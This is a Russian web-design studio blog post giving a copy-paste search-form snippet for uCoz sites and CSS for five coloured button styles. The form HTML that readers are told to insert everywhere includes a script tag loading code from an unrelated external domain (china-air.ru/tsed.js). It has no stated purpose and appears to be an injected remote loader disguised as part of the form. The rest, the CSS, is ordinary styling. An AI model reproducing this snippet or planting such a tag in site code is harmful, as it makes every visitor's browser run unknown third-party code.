Добро пожаловать в студию графики и веб-дизайна Art-Color
 
 

Добро пожаловать на StudioAC.ru. Наша дизайн студия занимается разработкой web сайтов, созданием дизайнов сайта.Так как большенство людей не умеют, или не имеют возможности рисовать профессиональную графику, мы делаем это за них.Графика для сайтов - это создание баннеров, создание шапки и остально мелочи которая нужна что бы ваш сайт был привлекательным и запомнился посетителю. Так же наш сайт предоставляет готовую графику. В неё входят готовые шаблоны сайтов, только уникальные скрипты, кнопки для сайтов а так же PSD файлы. Мы выкладываем только авторские изделия, то есть все что есть у нас на сайте - это все работа нашей команды.


 

 
05.07.2025

[c][/c]Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

[code]$SEARCH_FORM$[/code]

Везде ставим:

[code]<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
<input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<input class="poick_knopka" type="submit" value="Найти" />
<input type="hidden" name="t" value="0" />
</form>[/code]

И теперь остается прописать стили!
Фиолетовая форма:

[code]/* Форма поиска фиолетовая кнопка
------------------------------------------*/
.poick_os {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka {
text-shadow: 1px 1px 1px #751a9b;
width:70px;
height:27px;
cursor:pointer;
background:#ce36fa;
border:1px solid #a622e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka:hover {background:#b73cea;}

.poick_os,
.poick_knopka {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Синяя форма:

[code]/* Форма поиска синяя кнопка
------------------------------------------*/
.poick_os1 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os1 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole1 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka1 {
text-shadow: 1px 1px 1px #1061B0;
width:70px;
height:27px;
cursor:pointer;
background:#36A6FA;
border:1px solid #2290e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka1:hover {background:#3c9fea;}

.poick_os1,
.poick_knopka1 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Красная форма:

[code]/* Форма поиска красная кнопка
------------------------------------------*/
.poick_os2 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os2 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole2 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka2 {
text-shadow: 1px 1px 1px #b01010;
width:70px;
height:27px;
cursor:pointer;
background:#fa3636;
border:1px solid #e32222;
color:#fff; font-weight: bold!important;
}

.poick_knopka2:hover {background:#ea3c3c;}

.poick_os2,
.poick_knopka2 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Зеленая форма:

[code]/* Форма поиска зелёная кнопка
------------------------------------------*/
.poick_os3 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os3 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole3 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka3 {
text-shadow: 1px 1px 1px #368620;
width:70px;
height:27px;
cursor:pointer;
background:#6ae14a;
border:1px solid #57c939;
color:#fff; font-weight: bold!important;
}

.poick_knopka3:hover {background:#65d447;}

.poick_os3,
.poick_knopka3 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Оранжевая форма:

[code]/* Форма поиска оранжевая кнопка
------------------------------------------*/
.poick_os4 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os4 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole4 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka4 {
text-shadow: 1px 1px 1px #865520;
width:70px;
height:27px;
cursor:pointer;
background:#e1954a;
border:1px solid #c97639;
color:#fff; font-weight: bold!important;
}

.poick_knopka4:hover {background:#d48347;}

.poick_os4,
.poick_knopka4 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]


Добавил:budyvmaster | Категория: Скрипты | Дата: 05.07.2025 | Просмотров: 341 | Комментариев: (0)
Время в Москве
Раскрутка и привлечение активных пользователей на сайт!
Топ пользователей по комментариям для uCoz
Стилизация кнопок под голубой дизайн
Отличный способ оптимизировать абсолютно любой ucoz сайт
Способ почти скрыть копирайт с помощью CSS(легально)
Топ юзеров для Ucoz
Красивая кнопка вверх для блога ( сайта )
Рабочий поиск в стиле виста с округленными углами
Звездочки для рейтинга

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

графика для сайтов | создание баннеров | создание шапки

Дизайн, файлы, идеи © 2010-2011 www.studioac.ru
Статьи ЗАПРЕЩАЕТСЯ копировать дизайн, его элементы, и контент.
Авторизация

Партнеры